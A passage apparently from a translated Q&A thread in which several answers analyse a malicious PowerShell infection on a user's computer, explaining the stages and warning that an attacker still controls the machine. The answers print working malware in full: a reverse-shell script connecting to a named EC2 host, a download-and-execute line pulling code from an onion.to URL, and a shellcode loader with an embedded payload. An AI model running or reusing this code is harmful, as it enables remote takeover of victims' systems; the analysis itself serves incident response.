简洁版本

攻击者能够在您的计算机上运行任何 PowerShell 命令，并且可以通过获取“ ec2-54-169-248-105.ap-southeast-1.compute.amazonaws.com ”的所有者找到。

长版

我将二进制数组转储到一个文件中并将其上传到VirusTotal。

新启动的文件对我来说似乎是一个额外的阶段，因为它非常小（1.7 kb）并且将仅执行 10 秒，因为它将绑定到 PowerShell（因为攻击者创建一个线程而不是作为一个单独的进程启动它) 并且在最后一个命令处终止延迟 10 秒。

更新：很遗憾，我无法对程序集进行逆向工程，但使用文本编辑器快速查看文件显示以下字符串：

powershell.exe -exec bypass -nop -W hidden -noninteractive IEX $(
$s=New-Object IO.MemoryStream(,[Convert]::FromBase64String(
'A really long base64 full code can be found below'));
IEX (New-Object IO.StreamReader(
New-Object IO.Compression.GzipStream($s,
[IO.Compression.CompressionMode]::Decompress))).ReadToEnd();)

然而，这个阶段也使用 GZIP 作为 Base64 的附加混淆层，但仍然可以转储到：

# Powerfun - Written by Ben Turner & Dave Hardy

function Get-Webclient 
{
    $wc = New-Object -TypeName Net.WebClient
    $wc.UseDefaultCredentials = $true
    $wc.Proxy.Credentials = $wc.Credentials
    $wc
}
function powerfun 
{ 
    Param( 
    [String]$Command,
    [String]$Sslcon,
    [String]$Download
    ) 
    Process {
    $modules = @()  
    if ($Command -eq "bind")
    {
        $listener = [System.Net.Sockets.TcpListener]9999
        $listener.start()    
        $client = $listener.AcceptTcpClient()
    } 
    if ($Command -eq "reverse")
    {
    $client = New-Object  System.Net.Sockets.TCPClient("ec2-54-169-248-105.ap-southeast-1.compute.amazonaws.com",9999)
    }

    $stream = $client.GetStream()

    if ($Sslcon -eq "true") 
    {
        $sslStream = New-Object System.Net.Security.SslStream($stream,$false,({$True} -as [Net.Security.RemoteCertificateValidationCallback]))
        $sslStream.AuthenticateAsClient("ec2-54-169-248-105.ap-southeast-1.compute.amazonaws.com") 
        $stream = $sslStream 
    }

    [byte[]]$bytes = 0..20000|%{0}
    $sendbytes = ([text.encoding]::ASCII).GetBytes("Windows PowerShell running as user " + $env:username + " on " + $env:computername + "`nCopyright (C) 2015 Microsoft Corporation. All rights reserved.`n`n")
    $stream.Write($sendbytes,0,$sendbytes.Length)

    if ($Download -eq "true")
    {
        $sendbytes = ([text.encoding]::ASCII).GetBytes("[+] Loading modules.`n")
        $stream.Write($sendbytes,0,$sendbytes.Length)
        ForEach ($module in $modules)
        {
            (Get-Webclient).DownloadString($module)|Invoke-Expression
        }
    }

    $sendbytes = ([text.encoding]::ASCII).GetBytes('PS ' + (Get-Location).Path + '>')
    $stream.Write($sendbytes,0,$sendbytes.Length)

    while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0)
    {
        $EncodedText = New-Object -TypeName System.Text.ASCIIEncoding
        $data = $EncodedText.GetString($bytes,0, $i)
        $sendback = (Invoke-Expression -Command $data 2>&1 | Out-String )

        $sendback2  = $sendback + 'PS ' + (Get-Location).Path + '> '
        $x = ($error[0] | Out-String)
        $error.clear()
        $sendback2 = $sendback2 + $x

        $sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2)
        $stream.Write($sendbyte,0,$sendbyte.Length)
        $stream.Flush()  
    }
    $client.Close()
    $listener.Stop()
    }
}

powerfun -Command reverse -Sslcon true

这是一个相当简单的 PowerShell 后门，它连接到服务器，然后允许攻击者在您的计算机上远程运行 PowerShell 命令。这个“powerfun”脚本可以通过谷歌搜索两秒钟在 GitHub 上找到，所以我不会在此处链接它，以免超出反垃圾邮件限制。但是，通过将其与原始脚本进行比较，您会很快注意到攻击者将远程服务器地址更改为“ ec2-54-169-248-105.ap-southeast-1.compute.amazonaws.com ”和端口到9999，因此如果需要，应该很容易跟踪攻击者。

最后：服务器仍在侦听该端口，因此攻击者能够控制您的计算机！

简洁版本

您的计算机已被入侵，攻击者仍控制您的计算机。

长版

通过解码 base64 编码的表达式（-Enc参数中传递的字符串），您可以获得由 PowerShell 执行的代码：

[Net.ServicePointManager]::ServerCertificateValidationCallback = {$true}
iex (New-Object Net.WebClient).DownloadString("https://lc25qj2gdcaidarc.onion.to:443/LeTrWHzIq")

onion.to该代码基本上从 Tor 隐藏服务（通过网关，它允许从未连接到 Tor 的机器访问 Tor 隐藏服务）下载更多 PowerShell 代码并执行它。

下面是下载并执行的代码（再一次，内联执行 base64 编码的 PowerShell 脚本）：

powershell -Enc [long base64 encoded string]

解码后对应于以下代码：

$c = @"
[DllImport("kernel32.dll")] public static extern IntPtr VirtualAlloc(IntPtr w, uint x, uint y, uint z);
[DllImport("kernel32.dll")] public static extern IntPtr CreateThread(IntPtr u, uint v, IntPtr w, IntPtr x, uint y, IntPtr z);
[DllImport("msvcrt.dll")] public static extern IntPtr memset(IntPtr x, uint y, uint z);
"@
$o = Add-Type -memberDefinition $c -Name "Win32" -namespace Win32Functions -passthru
$x = $o::VirtualAlloc(0, 0x1000, 0x3000, 0x40)
[Byte[]]$sc = 0xfc,0xe8,0x82,0x00,0x00,0x00,0x60,0x89,0xe5,0x31,0xc0,0x64,0x8b,0x50,0x30,0x8b,0x52,0x0c,0x8b,0x52,0x14,0x8b,0x72,0x28,0x0f,0xb7,0x4a,0x26,0x31,0xff,0xac,0x3c,0x61,0x7c,0x02,0x2c,0x20,0xc1,0xcf,0x0d,0x01,0xc7,0xe2,0xf2,0x52,0x57,0x8b,0x52,0x10,0x8b,0x4a,0x3c,0x8b,0x4c,0x11,0x78,0xe3,0x48,0x01,0xd1,0x51,0x8b,0x59,0x20,0x01,0xd3,0x8b,0x49,0x18,0xe3,0x3a,0x49,0x8b,0x34,0x8b,0x01,0xd6,0x31,0xff,0xac,0xc1,0xcf,0x0d,0x01,0xc7,0x38,0xe0,0x75,0xf6,0x03,0x7d,0xf8,0x3b,0x7d,0x24,0x75,0xe4,0x58,0x8b,0x58,0x24,0x01,0xd3,0x66,0x8b,0x0c,0x4b,0x8b,0x58,0x1c,0x01,0xd3,0x8b,0x04,0x8b,0x01,0xd0,0x89,0x44,0x24,0x24,0x5b,0x5b,0x61,0x59,0x5a,0x51,0xff,0xe0,0x5f,0x5f,0x5a,0x8b,0x12,0xeb,0x8d,0x5d,0x6a,0x01,0x8d,0x85,0xb2,0x00,0x00,0x00,0x50,0x68,0x31,0x8b,0x6f,0x87,0xff,0xd5,0xbb,0xf0,0xb5,0xa2,0x56,0x68,0xa6,0x95,0xbd,0x9d,0xff,0xd5,0x3c,0x06,0x7c,0x0a,0x80,0xfb,0xe0,0x75,0x05,0xbb,0x47,0x13,0x72,0x6f,0x6a,0x00,0x53,0xff,0xd5,0x70,0x6f,0x77,0x65,0x72,0x73,0x68,0x65,0x6c,0x6c,0x2e,0x65,0x78,0x65,0x20,0x2d,0x65,0x78,0x65,0x63,0x20,0x62,0x79,0x70,0x61,0x73,0x73,0x20,0x2d,0x6e,0x6f,0x70,0x20,0x2d,0x57,0x20,0x68,0x69,0x64,0x64,0x65,0x6e,0x20,0x2d,0x6e,0x6f,0x6e,0x69,0x6e,0x74,0x65,0x72,0x61,0x63,0x74,0x69,0x76,0x65,0x20,0x49,0x45,0x58,0x20,0x24,0x28,0x24,0x73,0x3d,0x4e,0x65,0x77,0x2d,0x4f,0x62,0x6a,0x65,0x63,0x74,0x20,0x49,0x4f,0x2e,0x4d,0x65,0x6d,0x6f,0x72,0x79,0x53,0x74,0x72,0x65,0x61,0x6d,0x28,0x2c,0x5b,0x43,0x6f,0x6e,0x76,0x65,0x72,0x74,0x5d,0x3a,0x3a,0x46,0x72,0x6f,0x6d,0x42,0x61,0x73,0x65,0x36,0x34,0x53,0x74,0x72,0x69,0x6e,0x67,0x28,0x27,0x48,0x34,0x73,0x49,0x41,0x49,0x76,0x6d,0x79,0x56,0x67,0x43,0x41,0x36,0x56,0x57,0x62,0x57,0x2f,0x62,0x4e,0x68,0x44,0x2b,0x37,0x6c,0x39,0x78,0x63,0x4c,0x56,0x61,0x51,0x69,0x7a,0x43,0x4e,0x70,0x70,0x68,0x44,0x5a,0x42,0x69,0x72,0x70,0x4a,0x75,0x41,0x62,0x4c,0x57,0x71,0x4c,0x33,0x6c,0x67,0x32,0x45,0x67,0x74,0x48,0x53,0x4f,0x74,0x55,0x69,0x6b,0x53,0x31,0x4a,0x2b,0x57,0x65,0x4c,0x2f,0x58,0x6c,0x4b,0x69,0x58,0x68,0x77,0x6e,0x36,0x4c,0x4c,0x70,0x69,0x36,0x33,0x6a,0x33,0x63,0x50,0x6e,0x6e,0x6a,0x73,0x65,0x39,0x51,0x5a,0x47,0x66,0x49,0x4e,0x69,0x6b,0x54,0x48,0x77,0x34,0x55,0x62,0x45,0x53,0x69,0x47,0x44,0x2b,0x51,0x34,0x2b,0x36,0x70,0x39,0x4a,0x4a,0x68,0x67,0x4b,0x65,0x41,0x73,0x58,0x64,0x49,0x33,0x77,0x4f,0x78,0x58,0x52,0x72,0x74,0x58,0x53,0x6e,0x71,0x47,0x4b,0x4f,0x59,0x50,0x66,0x55,0x50,0x6b,0x33,0x4f,0x41,0x2b,0x54,0x47,0x4a,0x6d,0x43,0x31,0x6b,0x4d,0x4c,0x39,0x4f,0x4e,0x73,0x51,0x6a,0x69,0x48,0x7a,0x37,0x6a,0x78,0x76,0x38,0x7a,0x2f,0x78,0x6c,0x43,0x42,0x50,0x39,0x6d,0x74,0x38,0x44,0x4e,0x4e,0x55,0x52,0x73,0x56,0x30,0x66,0x35,0x42,0x37,0x6c,0x38,0x36,0x6b,0x7a,0x38,0x6c,0x58,0x75,0x43,0x43,0x5a,0x6f,0x6b,0x4b,0x42,0x45,0x5a,0x36,0x4a,0x61,0x61,0x4a,0x31,0x42,0x43,0x4f,0x45,0x68,0x6c,0x57,0x58,0x69,0x50,0x42,0x74,0x7a,0x76,0x79,0x78,0x45,0x50,0x62,0x47,0x35,0x62,0x53,0x74,0x37,0x57,0x76,0x4b,0x61,0x37,0x4b,0x31,0x46,0x6f,0x50,0x6b,0x4b,0x2b,0x50,0x71,0x4b,0x43,0x70,0x57,0x2f,0x79,0x66,0x6a,0x70,0x57,0x49,0x32,0x64,0x33,0x4d,0x43,0x58,0x69,0x61,0x55,0x68,0x5a,0x31,0x44,0x36,0x31,0x6a,0x6d,0x59,0x53,0x63,0x50,0x54,0x46,0x65,0x38,0x41,0x31,0x4c,0x4f,0x49,0x31,0x79,0x71,0x32,0x63,0x78,0x42,0x51,0x39,0x52,0x53,0x72,0x41,0x43,0x70,0x44,0x7a,0x4b,0x45,0x6a,0x51,0x45,0x66,0x33,0x55,0x39,0x4b,0x46,0x7a,0x69,0x42,0x62,0x6a,0x6c,0x4e,0x75,0x44,0x6a,0x4e,0x32,0x6a,0x50,0x59,0x78,0x61,0x31,0x76,0x58,0x79,0x78,0x69,0x4d,0x74,0x6a,0x6b,0x31,0x68,0x71,0x2b,0x62,0x58,0x6b,0x35,0x33,0x72,0x4c,0x6e,0x66,0x36,0x66,0x45,0x71,0x50,0x61,0x6d,0x49,0x66,0x33,0x71,0x43,0x53,0x5a,0x68,0x4b,0x74,0x72,0x36,0x7a,0x46,0x37,0x72,0x35,0x2f,0x6a,0x51,0x43,0x49,0x56,0x46,0x63,0x72,0x73,0x61,0x33,0x66,0x4f,0x56,0x32,0x32,0x4a,0x7a,0x68,0x74,0x2b,0x77,0x7a,0x44,0x45,0x6c,0x64,0x4b,0x41,0x52,0x54,0x6e,0x63,0x67,0x73,0x72,0x2b,0x4a,0x62,0x6f,0x43,0x31,0x79,0x67,0x6b,0x48,0x6a,0x4f,0x75,0x6f,0x42,0x73,0x6c,0x66,0x34,0x35,0x35,0x4d,0x4c,0x49,0x62,0x74,0x54,0x45,0x63,0x2b,0x4b,0x66,0x76,0x2f,0x50,0x37,0x50,0x37,0x2f,0x33,0x42,0x75,0x31,0x2f,0x38,0x66,0x75,0x2b,0x55,0x30,0x4a,0x55,0x76,0x65,0x61,0x61,0x57,0x53,0x4b,0x58,0x79,0x2b,0x79,0x54,0x6b,0x36,0x53,0x70,0x54,0x53,0x47,0x68,0x4b,0x2f,0x2b,0x47,0x4d,0x62,0x71,0x53,0x78,0x74,0x4c,0x73,0x6d,0x59,0x30,0x75,0x7a,0x56,0x55,0x67,0x74,0x6c,0x55,0x43,0x61,0x6d,0x72,0x77,0x4b,0x47,0x6b,0x53,0x33,0x35,0x44,0x69,0x33,0x36,0x58,0x7a,0x71,0x54,0x49,0x70,0x4b,0x46,0x6f,0x6d,0x59,0x72,0x6d,0x72,0x62,0x77,0x6a,0x58,0x53,0x6b,0x44,0x49,0x5a,0x6c,0x32,0x41,0x76,0x5a,0x49,0x4a,0x68,0x70,0x6b,0x2f,0x48,0x6a,0x6f,0x78,0x4c,0x56,0x39,0x66,0x75,0x33,0x33,0x55,0x57,0x75,0x76,0x32,0x77,0x36,0x7a,0x34,0x34,0x45,0x34,0x32,0x2b,0x42,0x35,0x39,0x4b,0x6d,0x42,0x37,0x45,0x66,0x4d,0x57,0x55,0x4b,0x77,0x78,0x51,0x71,0x48,0x67,0x52,0x68,0x31,0x54,0x68,0x58,0x7a,0x53,0x4a,0x49,0x32,0x70,0x36,0x4e,0x4b,0x42,0x4a,0x4d,0x71,0x66,0x68,0x2f,0x63,0x7a,0x7a,0x6e,0x71,0x46,0x44,0x68,0x6b,0x59,0x57,0x33,0x65,0x41,0x6d,0x61,0x43,0x6a,0x2f,0x72,0x34,0x5a,0x65,0x6f,0x79,0x6c,0x71,0x38,0x65,0x72,0x6b,0x6d,0x2b,0x70,0x4f,0x35,0x7a,0x75,0x46,0x30,0x39,0x6e,0x4d,0x4d,0x62,0x2b,0x6d,0x6e,0x58,0x75,0x45,0x44,0x48,0x72,0x36,0x65,0x66,0x7a,0x70,0x6f,0x62,0x65,0x33,0x42,0x55,0x41,0x57,0x6c,0x63,0x76,0x75,0x56,0x4f,0x46,0x57,0x45,0x57,0x51,0x68,0x6a,0x38,0x78,0x5a,0x4f,0x54,0x73,0x62,0x6a,0x6f,0x4f,0x72,0x4b,0x38,0x38,0x55,0x35,0x61,0x50,0x78,0x63,0x64,0x73,0x33,0x75,0x75,0x6e,0x35,0x52,0x68,0x59,0x54,0x5a,0x37,0x7a,0x45,0x4a,0x41,0x47,0x52,0x4d,0x61,0x61,0x39,0x51,0x55,0x75,0x57,0x53,0x64,0x33,0x34,0x62,0x54,0x67,0x42,0x42,0x39,0x6e,0x36,0x7a,0x4c,0x77,0x78,0x4d,0x7a,0x5a,0x4f,0x74,0x45,0x31,0x58,0x72,0x31,0x71,0x77,0x6d,0x56,0x57,0x4c,0x74,0x79,0x7a,0x67,0x71,0x35,0x32,0x49,0x37,0x35,0x59,0x4b,0x33,0x4d,0x43,0x44,0x51,0x61,0x39,0x2f,0x43,0x6e,0x2f,0x45,0x6f,0x65,0x43,0x53,0x4c,0x78,0x51,0x45,0x58,0x4b,0x79,0x34,0x79,0x4b,0x55,0x6d,0x4d,0x44,0x51,0x37,0x47,0x6b,0x38,0x4a,0x41,0x76,0x55,0x47,0x61,0x34,0x7a,0x49,0x4c,0x62,0x74,0x6c,0x74,0x71,0x2b,0x74,0x4a,0x73,0x53,0x4d,0x51,0x58,0x54,0x72,0x37,0x4c,0x71,0x39,0x62,0x76,0x31,0x43,0x72,0x70,0x48,0x64,0x71,0x57,0x57,0x7a,0x77,0x63,0x71,0x70,0x30,0x47,0x79,0x78,0x6f,0x77,0x35,0x37,0x6e,0x56,0x54,0x54,0x6b,0x78,0x6c,0x63,0x61,0x30,0x69,0x6a,0x6a,0x5a,0x30,0x6f,0x70,0x4f,0x4c,0x35,0x65,0x71,0x35,0x6c,0x31,0x43,0x63,0x75,0x4c,0x6d,0x6d,0x34,0x31,0x4a,0x77,0x4c,0x55,0x49,0x68,0x5a,0x4e,0x62,0x46,0x71,0x72,0x35,0x71,0x32,0x65,0x64,0x79,0x44,0x51,0x65,0x2b,0x52,0x4d,0x74,0x74,0x69,0x4a,0x70,0x5a,0x49,0x33,0x75,0x4d,0x56,0x57,0x2f,0x4e,0x37,0x39,0x43,0x2b,0x33,0x4b,0x36,0x32,0x74,0x31,0x48,0x70,0x58,0x4b,0x50,0x76,0x44,0x55,0x2f,0x73,0x71,0x4a,0x54,0x71,0x6a,0x4d,0x58,0x52,0x30,0x6e,0x58,0x4d,0x57,0x31,0x7a,0x7a,0x4d,0x4b,0x2b,0x6d,0x52,0x45,0x56,0x56,0x4c,0x62,0x65,0x31,0x38,0x36,0x50,0x7a,0x6e,0x30,0x6d,0x32,0x57,0x63,0x59,0x4b,0x75,0x36,0x38,0x54,0x35,0x47,0x53,0x6a,0x43,0x76,0x79,0x4b,0x4e,0x33,0x4b,0x4c,0x6a,0x75,0x39,0x44,0x72,0x67,0x6e,0x4d,0x51,0x35,0x34,0x48,0x50,0x45,0x48,0x70,0x48,0x74,0x62,0x30,0x30,0x39,0x44,0x47,0x61,0x36,0x46,0x52,0x65,0x75,0x76,0x7a,0x73,0x4a,0x44,0x45,0x75,0x4a,0x45,0x2f,0x78,0x30,0x71,0x5a,0x63,0x6f,0x2b,0x68,0x35,0x51,0x41,0x32,0x56,0x42,0x70,0x6f,0x64,0x61,0x4c,0x6e,0x4d,0x5a,0x54,0x72,0x67,0x78,0x4e,0x36,0x54,0x74,0x74,0x4c,0x6a,0x77,0x32,0x68,0x35,0x56,0x41,0x44,0x77,0x79,0x79,0x46,0x65,0x67,0x41,0x38,0x2b,0x76,0x4f,0x33,0x44,0x49,0x33,0x7a,0x4a,0x6c,0x46,0x2b,0x67,0x67,0x70,0x58,0x69,0x41,0x47,0x6f,0x41,0x75,0x53,0x41,0x6c,0x73,0x42,0x62,0x35,0x42,0x79,0x57,0x41,0x54,0x67,0x32,0x79,0x4e,0x55,0x51,0x63,0x46,0x49,0x4b,0x4c,0x61,0x57,0x39,0x32,0x73,0x46,0x6d,0x44,0x64,0x62,0x35,0x4f,0x77,0x67,0x53,0x70,0x63,0x4c,0x33,0x6e,0x47,0x4a,0x77,0x33,0x58,0x2f,0x54,0x42,0x33,0x37,0x61,0x4f,0x54,0x39,0x4b,0x2f,0x61,0x70,0x38,0x61,0x35,0x6f,0x64,0x48,0x70,0x39,0x6b,0x71,0x52,0x77,0x65,0x6e,0x6a,0x50,0x6d,0x55,0x5a,0x48,0x4a,0x5a,0x33,0x65,0x74,0x32,0x44,0x4e,0x72,0x62,0x4a,0x30,0x69,0x34,0x52,0x4a,0x74,0x50,0x66,0x64,0x4f,0x4f,0x46,0x56,0x2b,0x56,0x31,0x36,0x76,0x2b,0x4e,0x6d,0x6c,0x56,0x33,0x79,0x52,0x56,0x63,0x65,0x7a,0x6c,0x43,0x72,0x36,0x39,0x71,0x4d,0x77,0x41,0x2b,0x51,0x36,0x63,0x4f,0x36,0x39,0x6e,0x6c,0x77,0x6b,0x41,0x41,0x41,0x3d,0x3d,0x27,0x29,0x29,0x3b,0x49,0x45,0x58,0x20,0x28,0x4e,0x65,0x77,0x2d,0x4f,0x62,0x6a,0x65,0x63,0x74,0x20,0x49,0x4f,0x2e,0x53,0x74,0x72,0x65,0x61,0x6d,0x52,0x65,0x61,0x64,0x65,0x72,0x28,0x4e,0x65,0x77,0x2d,0x4f,0x62,0x6a,0x65,0x63,0x74,0x20,0x49,0x4f,0x2e,0x43,0x6f,0x6d,0x70,0x72,0x65,0x73,0x73,0x69,0x6f,0x6e,0x2e,0x47,0x7a,0x69,0x70,0x53,0x74,0x72,0x65,0x61,0x6d,0x28,0x24,0x73,0x2c,0x5b,0x49,0x4f,0x2e,0x43,0x6f,0x6d,0x70,0x72,0x65,0x73,0x73,0x69,0x6f,0x6e,0x2e,0x43,0x6f,0x6d,0x70,0x72,0x65,0x73,0x73,0x69,0x6f,0x6e,0x4d,0x6f,0x64,0x65,0x5d,0x3a,0x3a,0x44,0x65,0x63,0x6f,0x6d,0x70,0x72,0x65,0x73,0x73,0x29,0x29,0x29,0x2e,0x52,0x65,0x61,0x64,0x54,0x6f,0x45,0x6e,0x64,0x28,0x29,0x3b,0x29,0x00
for ($i=0; $i -le ($sc.Length-1); $i++) {
    $o::memset([IntPtr]($x.ToInt32()+$i), $sc[$i], 1) | out-null
}
$z = $o::CreateThread(0, 0, $x, 0, 0, 0)
Start-Sleep -Second 100000

据我了解，此代码导入系统 DLL，然后执行一些本机代码（第 8 行的长字节数组）。

为了进一步挖掘，可以从字节数组中重构本机代码并将其提交给 VirusTotal 以尝试识别它是哪种恶意软件，或者直接在沙箱中运行 PowerShell 脚本以动态分析其行为。

编辑：最后一部分的分析可在VincBreaker 的回答中找到。

它正在运行带有 Base64 编码的 Powershell 代码的 Powershell 脚本。

这是正在运行的已解码 Powershell 代码：

[Net.ServicePointManager]::ServerCertificateValidationCallback = {$true}
iex (New-Object Net.WebClient).DownloadString("https://lc25qj2gdcaidarc.onion.to:443/LeTrWHzIq")

所以这个脚本正在下载和调用内容 https://lc25qj2gdcaidarc.onion.to:443/LeTrWHzIq

我会让你进一步挖掘，因为我对导航到潜在的恶意链接持谨慎态度。特别是因为它来自 *.onion.to，一个 TOR 地址。